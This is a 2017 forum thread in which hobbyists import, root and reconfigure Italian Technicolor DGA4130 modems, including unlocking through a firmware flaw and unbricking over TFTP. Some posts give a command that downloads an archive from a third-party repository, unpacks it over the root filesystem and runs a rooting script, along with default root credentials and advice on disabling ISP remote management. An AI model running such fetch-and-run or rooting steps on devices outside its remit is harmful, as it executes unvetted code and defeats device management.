this seller told me it would cost around 30€ for delivery in UK:
http://www.ebay.it/itm/TIM-TELECOM-SMART-MODEM-PLUS-AG-EVO-DGA4130-MODEM-VDSL-300-MEGA-/272835035969?hash=item3f863c4341:g:ML0AAOSw1G1ZrsJ0

And he seem to have more than 10 modem available...

Just contact him and give him your Address he will tell you the exact cost.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ktz392837 on September 28, 2017, 11:42:18 AM
Is this modem/router a step up from the Zyxel 8324 chipset wise? Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 28, 2017, 11:58:31 AM
the Zyxel has a better WIFI N 2.4Ghz up to 300Mbps while this modem has only 130Mbps  :(
Hopefully the AC 5Ghz is up to 1700Mbps but old device may not support 5Ghz or AC...

The Broadcom chipset 63138 in the DGA4130 is a dual core 1Ghz ARM, which is way faster than the Broadcom 63168 which is a Mips dual core 400Mhz in the Zyxel 8324.

I can't say anything about which one synch better between both modems, but i have a BT HH5A (Lantiq soc) and an HG612 (bcm6368), and my DGA4130 synch 3Mbps higher than my HG612 which sync 2/3Mbps higher than my HH5A.

About the cpu power,  the Bcm63168 can do 400 Bogomips per core, while the 63138 can do 1990 Bogomips per core.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 28, 2017, 06:32:53 PM
Just to let you know about the firmware update through tr069, it is just impossible for us, as the ACS server cannot be resolved by our DNS : regman-tl.interbusiness.it
even if you use the TIM dns server, the query is refused because your IP is not in the TIM network  :police:.
So no way for us to receive an unwanted firmware update, anyway for paranoid people  ;D in /etc/config/cmwpd we can delete the ACS server link or the passwords or username, what ever you delete will make the connection to fail.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 28, 2017, 07:01:04 PM
I'm waiting on a seller to give me an invoice for delivery to the UK. I do want to thank shdf for all the help.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 28, 2017, 07:34:27 PM
cool, I felt a little lonely  :D

in the meantime i configured my isp IPTV and it works very well.  :cool:

There are 504 Openwrt packages installed already :
Code: [Select]
6in4 - 22-1
6rd - 9-2
6to4 - 12-2
async - 1.0
base-files - 157.2-r49389
bcmswconfig - 4.16L.03
bcmubusbridge - 1.0
bcmvopiconfig - 4.16L.03
bdmf_shell - 4.16L.03
blitools - 1.0
bpmctl - 4.16L.03
brctl - 4.16L.03
busybox - 1.23.2-1
cext - 1.0
cgroups-tch - 0.1-1
chat - 2.4.7-6
clash - 1.0
comgt - 0.32-25
conf-button - 1.0
conf-cgroups - 1.0
conf-clash - 1.0
conf-cwmpd - 1.0
conf-ddns - 1.0
conf-dhcp - 1.0
conf-dhcpcoptions - 1.1
conf-dhcpopassthrud - 1.0
conf-dhcprelay - 1.0
conf-dlna - 1.0
conf-env - 1.0
conf-ethernet - 1.0
conf-ethoam - 1.0
conf-export - 1.0
conf-firewall - 1.0
conf-igmpproxy - 1.0
conf-intercept - 1.0
conf-ipset - 1.0
conf-iqos - 1.0
conf-ispconfig - 1.0
conf-ledfw - 1.0
conf-ltedoctor - 1.0
conf-mcastsnooping - 1.0
conf-mmpbx - 1.0
conf-mobiled - 1.1
conf-mountd - 1.0
conf-neighmon - 1.0
conf-network-globals - 1.0
conf-network-lan - 1.0
conf-network-wan - 1.0
conf-ngwfdd - 1.0
conf-parameter_conversion - 1.0
conf-power - 1.0
conf-pppoerelay - 1.0
conf-printersharing - 1.0
conf-qos - 1.0
conf-quantenna - 1.0
conf-samba - 1.0
conf-snmpd - 1.0
conf-soft_rtfd - 1.0
conf-sysctl-tch - 1.0-0
conf-system - 1.0
conf-tod - 1.0
conf-transformer - 1.0
conf-upnp - 1.0
conf-users - 1.0
conf-wansensing - 1.0
conf-watchdog - 1.0
conf-web - 1.0
conf-wifi-doctor-agent - 1.0
conf-wireless - 1.0
conf-xdsl - 1.0
conf-xtm - 1.0
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cups - 2.1.0-1
cups-client - 2.1.0-1
curl - 7.48.0-1
cwmpd - 1.0
ddns-scripts - 2.7.3-1
ddns-scripts_no-ip_com - 2.7.3-1
dectcmd - 1.0
dectnvs - 1.0
dhcpopassthrud - 0.3
dhcprelay - 1.0-1
dhcpsnooper-tch - 1.1
dmz - 1.0-1
dnsmasq-full - 2.76-2
dropbear - 2016.73-1
ds-lite - 7-1
dsl-transformer-mapping - 1.0.0
dsldiagd - 4.16L.03
ebtables - 2.0.10-4-4
ethctl - 4.16L.03
ethswctl - 4.16L.03
fcctl - 4.16L.03
firewall - 2016-05-02
firewall-ext-tch - 1.0-3
firstusedate - 1.2-1
fstools - 2016-01-10-96415afecef35766332067f4205ef3b2c7561d21
generic_access_key - 1.0-1
gre - 1-3
griffin - 1.0
hostmanager - 1.0
https-certificates - 0.1-1
ifstat - 1.1-1
igmpproxy-tch - 1.3
intercept-tch - 1.0-1
ip-full - 4.0.0-1
ip6tables - 1.4.21-2
ipip - 1-1
ipset - 6.24-1
ipset-helper-tch - 1.0-1
iptables - 1.4.21-2
iptables-mod-conntrack-extra - 1.4.21-2
iptables-mod-debug - 1.4.21-2
iptables-mod-extra - 1.4.21-2
iptables-mod-filter - 1.4.21-2
iptables-mod-ipopt - 1.4.21-2
iptables-mod-iprange - 1.4.21-2
iptables-mod-ipsec - 1.4.21-2
iptables-mod-ipset - 1.4.21-2
iptables-mod-nat-extra - 1.4.21-2
iptables-mod-nfqueue - 1.4.21-2
iptables-mod-skiplog - 1.4.21-2
iptables-mod-tproxy - 1.4.21-2
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iqctl - 4.16L.03
jshn - 2016-07-29-290c64ef5b5c3e75be851594f269d6a9568e64e5
jsonfilter - 2016-07-02-dea067ad67d977c247c300c06676a06adf21e0c7
kernel - 3.4.11-1-0b3a287109a01f28a0c5f067991f321a
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kmod-bcm63xx-tch-bdmf - 3.4.11-1
kmod-bcm63xx-tch-bpm - 3.4.11-1
kmod-bcm63xx-tch-chipinfo - 3.4.11-1
kmod-bcm63xx-tch-dectshim - 3.4.11-1
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kmod-bcm63xx-tch-ingqos - 3.4.11-1
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kmod-ipsec - 3.4.11-1
kmod-ipsec4 - 3.4.11-1
kmod-ipsec6 - 3.4.11-1
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Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on September 29, 2017, 12:52:54 AM
I'm waiting on a seller to give me an invoice for delivery to the UK. I do want to thank shdf for all the help.
Would you mind sharing the price you paid?
Keep us updated on how it compares to your vmg8x24
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 29, 2017, 06:47:50 AM
This seller added a delivery to France for £35, should be the same for england ? https://www.ebay.co.uk/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.Xdga4130.TRS0&_nkw=dga4130&_sacat=0
1 available !

Edit:
2 more available now
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 29, 2017, 07:03:58 AM
Would you mind sharing the price you paid?
Keep us updated on how it compares to your vmg8x24

I don't know yet. The modem price is EUR 32.80, but I've yet to be advised of the delivery cost.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 29, 2017, 07:36:48 AM
take the one available at £25.41 + 35£ ! in my link above.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 29, 2017, 07:46:18 AM
OK, done. :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 29, 2017, 07:51:16 AM
Congrats !  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 29, 2017, 07:56:31 AM
oups, don't forget to buy a EU to UK adapter  :-[
unboxing video : https://www.youtube.com/watch?v=WZr4zbIDrcI
The psu is 12V 2.8A
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 29, 2017, 08:08:08 AM
Actualy the unlocker will install the version 2.10 of the Webui, so you'll have to manually install the version 2.33 which is stable. They are working on a new version 3.0 but it crashed a lot of things so they removed it.
to install the gui :
Quote
wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/GUI.tar.bz2
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force

if you copy the bzcat line from the website ilpuntotecnicoadsl.com it will not work because the last character "–" is wrong it should be "-"

I don't remember if i posted that link already, but if you want to unlock the modem yourself, here is how to do:
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/
additionnaly there are some good tips like speeding up the sync time by disabling some dsl tests.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Owen on September 30, 2017, 06:31:54 AM
It's a good job. ;)
This seller added a delivery to France for £35, should be the same for england ? https://www.ebay.co.uk/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.Xdga4130.TRS0&_nkw=dga4130&_sacat=0
1 available !

Edit:
2 more available now
I will probably buy one.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 30, 2017, 07:01:27 AM
I ordered one, and it was dispatched yesterday.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 30, 2017, 12:47:50 PM
the seller contacted me today and he said he found a less expensive way to deliver, with DHL, but he needs to know the exact address first. So don't esitate to contact him  before buying and write your full address, he will tell you the delivery cost.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ktz392837 on September 30, 2017, 01:19:43 PM
the seller contacted me today and he said he found a less expensive way to deliver, with DHL, but he needs to know the exact address first. So don't esitate to contact him  before buying and write your full address, he will tell you the delivery cost.
Could you confirm which seller as I am not having much luck with sellers providing costs?

When providing address should you say England, Great Britain or United Kingdom - what is best recognised in Italy?

Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 30, 2017, 01:39:05 PM
it's the only one you can find on ebay.co.uk if you search for dga4130  ;D
https://www.ebay.co.uk/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.Xdga4130.TRS0&_nkw=dga4130&_sacat=0

England, Great Britain or United Kingdom which ever they will understand  ;) he is aware about english people trying to buy the modem.
in fact, Country + city + zip code should be all he need to know to get the delivery cost. your street address should not be that important  ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 30, 2017, 03:10:57 PM
i just tested the Broadcom DSL Diagnostics App (http://forum.kitz.co.uk/index.php/topic,11293.0.html) and it works  ;D
i run dsldiagd & in the modem and run BcmDslDiagsL.exe -s 192.168.1.1 on the PC.

The problem: i don't understand anything about the result but all those graphics are very nice  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 30, 2017, 04:00:28 PM
Yes, I remember the dancing dots display and scratching my head over what it all meant. :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on September 30, 2017, 08:47:40 PM
Yes, I remember the dancing dots display and scratching my head over what it all meant. :)

I suspect that you are possibly referring to the constellation diagram (https://en.wikipedia.org/wiki/Constellation_diagram) of quantised Quadrature Amplitude Modulation (https://en.wikipedia.org/wiki/Quadrature_amplitude_modulation#Quantized_QAM) (QAM).

If that is the case, please do not ask me to explain . . . as it makes my brain somersault!  :crazy:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 30, 2017, 08:59:07 PM
:)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: tubaman on October 01, 2017, 09:29:11 AM
I suspect that you are possibly referring to the constellation diagram (https://en.wikipedia.org/wiki/Constellation_diagram) of quantised Quadrature Amplitude Modulation (https://en.wikipedia.org/wiki/Quadrature_amplitude_modulation#Quantized_QAM) (QAM).

If that is the case, please do not ask me to explain . . . as it makes my brain somersault!  :crazy:

Oh yes, I remember studying that many moons ago (about 30 years :o).
I sympathise with you burakkucat!
 ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 02, 2017, 05:06:43 PM
@roseway
so when will you receive the modem ?  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 02, 2017, 06:26:13 PM
The original estimate was 5 October, but it wasn't actually picked up by DHL until this morning, and the expected delivery date is now this Friday 6 October.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 02, 2017, 08:33:28 PM
Nice ! you'll have all the week end to do your tests  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: NewtronStar on October 02, 2017, 09:01:48 PM
Has this modem/router passed those MCT tests by Openreach  ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 02, 2017, 09:07:13 PM
it has to pass the roseway tests first  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: NewtronStar on October 02, 2017, 09:09:30 PM
 :)  :fingers:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 02, 2017, 09:18:32 PM
https://uno.help/knowledge-base/article/openreach-approved-vdsl-modems
Technicolor
     DGA1430

There is a typo error ??  :-\

Btw there is no Asus/Netgear/Tp-link modems ??  :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: NewtronStar on October 02, 2017, 09:29:31 PM
Cheers i see it's been passed by Openreach and not one mention of the good old Billion   :hmm:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 02, 2017, 10:20:53 PM
If an ISP hasn't submitted the device for testing, it won't be tested.
Btw there is no Asus/Netgear/Tp-link modems ??  :-\
Are you joking with the Asus? Never in a million years would they pass.

It's only modems that supply to ISP's that get tested.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 02, 2017, 10:23:30 PM
sorry i'm not aware about all that things...i live in France  :-[
What's the problem whith that brands ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 02, 2017, 11:44:34 PM
The Asus allows you to disable UPBO, set target snrm, override DSLAM configurations (DLM).
It also had problems with G.INP on ECI cabinets.
Basically the mediatek chipset inside is useless.

Newer Asus DSL-AC88U has a Broadcom chipset, but the firmware is VERY incomplete.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 03, 2017, 08:59:24 PM
tonight i learned something about the "wan sensing" of the modem:
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg219942.html#msg219942

This router can connect to the Internet in 3 ways:
1) telephone line (adsl / vdsl)
2) PPP over Ethernet (ftth)
3) USB 3g/4g key (as fallback)

These scripts /etc/config/wansensing "manage" these interfaces and change from one to another depending on availability.

Someone is trying to set the wan port as a lan port, but the wansensing is doing unexpected things...and stoping it /etc/init.d/wansensing stop makes the modem thinking it is in bridge mode...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 04, 2017, 10:58:08 AM
if the unlocker crashes, try to see if you have the latest .NET 4.7 installed, and Microsoft visual studio 2017 runtime for both x86 and 64bit. This may fix the problem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 04, 2017, 05:01:47 PM
My DGA4130 turned up unexpectedly today, while I was out. The DHL delivery driver left it in my porch and forged my signature :hmm:

I don't really mind, because I've now got it, but he shouldn't have done that.

But I'm stuck at the first hurdle: what are the default modem login credentials?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 04, 2017, 05:59:24 PM
admin/admin for the web interface, and of course for the unlocker.

For SSH/Telnet once rooted: root/root
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 04, 2017, 06:29:21 PM
Thank you, I should have thought of that.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 04, 2017, 06:34:45 PM
well, so does it sync better than your previous modem ?  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 04, 2017, 07:04:37 PM
I haven't got that far yet. :)  I've successfully unlocked it, and checked that I can login via SSH using root/root. Now I need to configure it to login to my ISP. I'm taking it slowly and carefully, so I won't get it all done this evening.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on October 04, 2017, 07:17:44 PM
Looking forward to see how you get on I have one arriving next week hopefully.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 11:38:39 AM
It's up and running. Connection speeds are 76.4/19.99 which is the same as I was getting with the Zyzel VMG8324-B10A (which was in bridge mode).

I upgraded to the latest GUI, which is reported as 3.7, but the software version is AGTEF_1.0.2 not 1.0.3. I don't know if this is an issue, and I should go back to the unlocker and make sure I have the latest version?

There's only one problem - I can't access it by telnet. I enabled telnet in the GUI, and /etc/config/telnet shows it as enabled, but when I try to connect by telnet I get "The connection was refused by the remote host".
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 12:40:43 PM
Well, the WEBui only upgrade the WEBui (and a few files), but not the Firmware.
To upgrade the Firmware to 1.0.3 you have to upload it from the GUI now. first download the firmware file : AGTEF_1.0.3_CLOSED.rbi

Once upgraded to this new firmware, you should be again with the TIM webui :D so you'll have to unlock again (don't forget to check "Nuova Gui") with the unlocker and reinstall again the new Webui 3.7.
And i hope this time the telnet will work.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 05, 2017, 02:13:10 PM
Hi, mine arrived yesterday but not had a chance to look at it yet, maybe tonight but possibly have to wait until the weekend.

Can you clarify the steps taken to get this to the latest version of the technicolors own firmware?

1. Download this folder: https://mega.nz/#F!Pd8TgAJA!t-Yj3SktM8dNqvoIwiWbmg
2. Run the unlocker tool 
3.?

Does the unlocker tool install the latest fw from the downloaded folder as I see there are two at present or do you then install the latest fw via the web gui after unlocking?
Does the unlocker install the latest gui (3.7) or do still have to update that manually with wget?

Many thanks  :) :)




Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on October 05, 2017, 02:37:29 PM
Would be great to document a step by step procedure, I would be happy to help when I receive my modem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 02:49:58 PM
I'll be offline for a bit while I follow shdf's advice. :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 02:56:22 PM
The unlocker tool only enable SSH with user/pass root/root, and CAN (depends if you select it or not) :
- install the "tweaked" webui version 2.10 (which is embeded in the unlocker tool)
- Disable CWMPD
- Enable unencrypted import/export configuration file.

From my point of view, check everything  :)

The tool doesn't upgrade the firmware. You have to do this yourself once the new Webui 2.10 is installed, you have the possibility to upload the new firmware : AGTEF_1.0.3_CLOSED.rbi.
To upgrade to the new firmware you have to go in the GATEWAY menu here (https://i.imgur.com/QPmJQVC.png). Choose the file and click "upgrade".
Of course if you are already with the 1.0.3 firmware, there is no reason to flash the same firmware again :D, do it only if you are with the firmware 1.0.2

Upgrading to this new firmware will install once again the TIM web interface, but the modem is still rooted. So now you have to install the latest Webui 3.7 manualy from SSH.
With Winscp put the file GUI.tar.bz2 into /tmp and run these 2 commands :
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force


Be patient...Once done you can go to 192.168.1.1 and you'll see the new tweaked Webui 3.9

Since webui 2.23 you can easily update your webui from the web interface, there is a "Upgrade GUI (https://i.imgur.com/rVxz0nU.png)" button. so no need anymore to do it from SSH.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 05, 2017, 02:59:12 PM
Perfect thank you.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 03:40:48 PM
Remember a few important things:
Only firmware previous to 1.0.4 can be rooted with the unlocker tool (1.0.2 and 1.0.3)
The firmware 1.0.4 fixes the flaw (https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/), but doesn't disable the SSH and root account. So you can still update the Webui.
For the moment i suggest to never flash any firmware higher than 1.0.3 unless it is really necessary, but don't forget that the unlocker tool will not work anymore if you are on the 1.0.4 Firmware.
If you flashed the 1.0.4 firmware, and installed the tweaked webui, you can downgrade to 1.0.3 and the unlocker tool will work again.


Some people flashed to 1.0.4 and lost their root access because of the Bank1 and Bank2 thing (http://forum.kitz.co.uk/index.php/topic,20343.msg355423.html#msg355423) , i don't know how they did it but it happens...so better not try it for the moment.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 04:19:36 PM
I've gone through the process, and I'm exactly where I was before. I uploaded AGTEF_1.0.3_CLOSED.rbi, and it still reports itself as 1.0.2. Telnet still doesn't work. Maybe after enabling it I need to reboot the router, but I'll leave that until tomorrow, as I don't want to get hit by DLM. I expect there's a way to start the telnet service without rebooting, but I don't know how.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 04:30:30 PM
yes i think it is necessary to reboot the modem.

Else try  /usr/sbin/telnetd it worked for me.
i disabled telnet from the gui, i had no telenet access, i ran this command and i was able to connect.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 04:39:52 PM
About the firmware what does it say when you type:

cat /proc/banktable/active
cat /proc/banktable/inactive

cat /proc/banktable/activeversion
cat /proc/banktable/passiveversion
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 05:12:13 PM
cat /proc/banktable/active
bank_1

cat /proc/banktable/inactive
bank_2

cat /proc/banktable/activeversion
16.3.7498-2781009-20170130093747-9ee1bc10d48945a9c338014d0cab3db1d5fdab92

cat /proc/banktable/passiveversion
Unknown
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 05:29:30 PM
with the firmware version 1.0.3 the active version should be:
16.3.7636-2781008-20170411105953-718b590506a915e24be58946f4755c0c617d9c8d

you never rebooted your modem after all the steps ? i don't remember if the upgrade process from the GUI reboots the modem...but better doing it to be sure...

About telnet ? did you try what i said ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 06:47:25 PM
In this version there's no file /usr/sbin/telnetd

I did discover the command /etc/init.d/telnet start, but there's still no telnet daemon running. I haven't found anything else. I'll reboot it tomorrow and see what happens.

It's beginning to look as though I really need the genuine 1.0.3 firmware. The repository contains some beta versions, which I might try if I'm desperate.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 06:52:21 PM
if you don't want to be hit by the DLM just stop the rooter (no reboot) wait 5 minutes and then restart it.

I'm sure that you just need a reboot, for the system to start on the new firmware.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 07:11:12 PM
Uploading the 1.0.3 firmware file caused a reboot, and so did upgrading the GUI, so I think the firmware file in the repository must really be the 1.0.2 version.

I don't know how to stop the router without dropping the DSL connection. I can stop the PPP connection of course, but that doesn't close down the router functions.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 05, 2017, 07:25:35 PM
Ok, maybe there is a problem wit h the GUI 3.7
try to install the GUI 2.33, and then try to flash the firmware. you'll upgrade to the latest gui after...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 05, 2017, 07:33:09 PM
Thank you for all the help. That's a job for tomorrow.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 06, 2017, 12:12:24 AM
i released an update that fix the upgrade problem...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 06, 2017, 06:35:48 AM
Well, as Ansuel said you have to use the Webui 3.8 to fix the firmware upgrade problem  :fingers:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 06, 2017, 07:32:49 AM
About the Wifi @2.4Ghz stuck @130Mbps i found the reason here : https://forum.openwrt.org/viewtopic.php?pid=156165#p156165
you have to find the channel which fits the best for you between 1 and 9 to get the fastest speed, usually channels 1, 6, 11 are recommended because least disturbed by other channels. So try to force channel 1 or 6 first.

(https://i.imgur.com/M6hqEqY.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 08:31:54 AM
I've managed to brick my DGA4130. I had a bright idea which turned out to be a stupid idea. It occurred to me that telnetd is the telnet daemon which has to be running to enable telnet access. It's included with the 2.23 GUI but not with the 3.7 GUI (and not with the 3.8 GUI either). So I extracted telnetd from the 2.23 GUI and uploaded it to /usr/sbin, then ran it. It immediately crashed the modem, and since then it fails to boot. I've tried a factory reset with no success. So it's back to the Zyxel until I find a way to restore the DGA4130.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 06, 2017, 09:27:31 AM
Download from here the TFTPD client/server and the PDF Howto : http://thomsontech.weebly.com/download.html
and try to flash the 1.0.3 Firmware with TFTPD32. it works with .rbi files, they already flashed the firmware that way in the italian forum. i have good hope  :fingers:

As long as your active bank is bank1 you can unbrick your modem with TFTP, and also overwrite a locked/unrooted 1.0.4 firmware.
if the active bank is bank2, in this kind of situation : game over.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 10:04:46 AM
Thank you again. I'll digest that information and give it a go.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 06, 2017, 10:28:04 AM
one way to solve this issue is wait 10-12 sec after the power on and then press the reset buttom for 5-6 sec and release and hope that it reboot...

he needs to run the reset routine BEFORE it crash... and to run the reset routine you need to keep the reset buttom pressed for at least 5 sec and release it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 11:59:24 AM
Thanks for that last suggestion, but I couldn't make it work, although I tried several times with different timings.

But the BOOTP method did work. It didn't behave quite in the way the PDF howto described, but it did install the 1.0.3 firmware, and I was able to unlock it and reconfigure the WAN settings to suit my connection. I'm taking a break now, then this afternoon I'll install the 2.23 GUI (because that seems to be the only version which supports telnet).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 06, 2017, 12:38:08 PM
Congrats for resurrecting your dga4130  :)

The first GUI i installed was the 2.23, and then i installed 3.0, 3.5, 3.7 and 3.8. And Telnet always worked (because, as you discovered, the 2.23 installed it, the other GUI never removed it).
I think once 2.23 will be installed, you'll be able to safely install the latest 3.8 version.

The latest Versions (higher than 2.23) will make a copy of Bank1 into Bank2, this is a kind of rescue Firmware in case one bank is crashing it will switch to the other one. if your bank2 is still empty you should take advantage of this. Additionally it will fix some bugs in the GUI.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 02:46:42 PM
It's now all working (Including telnet) with GUI 2.23. This time, installing the 2.23 GUI didn't cause a reboot, and enabling telnet in the GUI was effective immediately, with no further action required. DSLstats is running now.

I'm going to leave it at that for now, and see how it goes for a few days before I consider upgrading the GUI.

Thanks again to shdf for all the help, and Ansuel for the software.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 06, 2017, 02:57:24 PM
Great !  ;)
The setup wizard is enough to configure the router for your ISP ? or do you have to tamper in the /etc/config/network file ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 03:04:26 PM
I edited /etc/config/network in the way you suggested. I used the built-in editor (vi) to do this. It's a very primitive editor, but good enough to do this job.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 06, 2017, 03:17:25 PM
haaarg  :o?! why not using Winscp + Notepad++ ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 03:30:33 PM
It was easier to do this simple job with the tool available in Busybox, rather than download it, edit it and then upload it again.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 06, 2017, 07:15:45 PM
It's now all working (Including telnet) with GUI 2.23. This time, installing the 2.23 GUI didn't cause a reboot, and enabling telnet in the GUI was effective immediately, with no further action required. DSLstats is running now.

I'm going to leave it at that for now, and see how it goes for a few days before I consider upgrading the GUI.

Thanks again to shdf for all the help, and Ansuel for the software.
i can confirm there was a real problem with telnet.. in 3.9 it's fixed :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 06, 2017, 07:18:40 PM
Thank you for that :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 07, 2017, 07:43:01 AM
My impatience got the better of me, and I've upgraded the GUI to 3.9. This time it did force a reboot, and when it came up everything was working, and all the configurations were retained except telnet, which I had to re-enable using the GUI. No problem, and DSLstats is running with it now.

Just a small cosmetic detail - the GUI still reports itself as 3.8.

I somehow managed to install 3.8, not 3.9 :-[
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
